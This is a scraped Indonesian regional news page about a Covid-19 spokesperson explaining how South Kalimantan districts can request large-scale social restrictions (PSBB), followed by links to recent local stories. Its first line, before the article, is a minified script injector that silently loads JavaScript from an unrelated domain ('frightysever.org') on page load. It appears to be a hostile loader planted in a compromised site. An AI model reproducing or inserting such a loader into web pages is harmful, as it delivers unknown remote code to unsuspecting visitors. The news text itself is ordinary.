(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gugus Tugas Kalsel: Permintaan PSBB Bisa Diajukan ke Pusat Asal Penuhi Syarat Ini


KANALKALIMANTAN.COM, BANJARBARU – Pembatasan sosial berskala besar (PSBB) menjadi solusi yang ditawarkan Kemenkes RI guna memutus mata rantai penularan Covid-19. Pada Jumat (10/4/2020) besok, Provinsi DKI Jakarta akan menerapkan PSBB.

Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalimantan Selatan Muhammad Muslim membeberkan, bisa saja kepala daerah di kabupaten/kota se Kalsel mengajukan PSBB ke pusat dengan tembusan kepada Gubernur Kalsel. “Kami dapat informasi (pengajuan) masih dalam proses,” kata Muslim di Banjarbaru, Kamis (9/4/2020) sore.

Lalu, jika PSBB diberlakukan, bagaimana protokol yang harus diterapkan?

Muslim menjelaskan, ada beberapa hal maupun persyaratan yang harus diperhatikan serta dilakukan analisa oleh pemerintah daerah kabupaten maupun kota yang mengajukan PSBB.

“Karena bagaimanapun nanti, terkait dengan pembatasan, dapat dilakukan mulai dari pembatasan misalnya peliburan sekolah dan tempat kerja, pembatasan kegiatan keagamaan, pembatasan kegiatan yang berada di fasilitas umum, pembatasan kegiatan sosial budaya, pembatasan moda transportasi dan lainnya,” jelas Muslim.

Muslim menegaskan, Pemprov Kalsel bisa mengajukan PSBB kepada pemerintah pusat, jika secara lintas kabupaten/kota sudah mengajukannya. “PSBB ini dapat diajukan kalau sudah lintas kabupaten/kota, maka akan diajukan oleh Pemprov ke Kemenkes RI,” tambah Muslim.

Nantinya, setelah diajukan ke Kemenkes RI, akan dibentuk tim. Dalam kurun waktu paling lama satu hari sudah dilakukan analisa, serta dua hari dari yang diterima. “Kita masih menunggu terkait dengan pengajuan yang berkaitan PSBB ini,” tukas Muslim. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.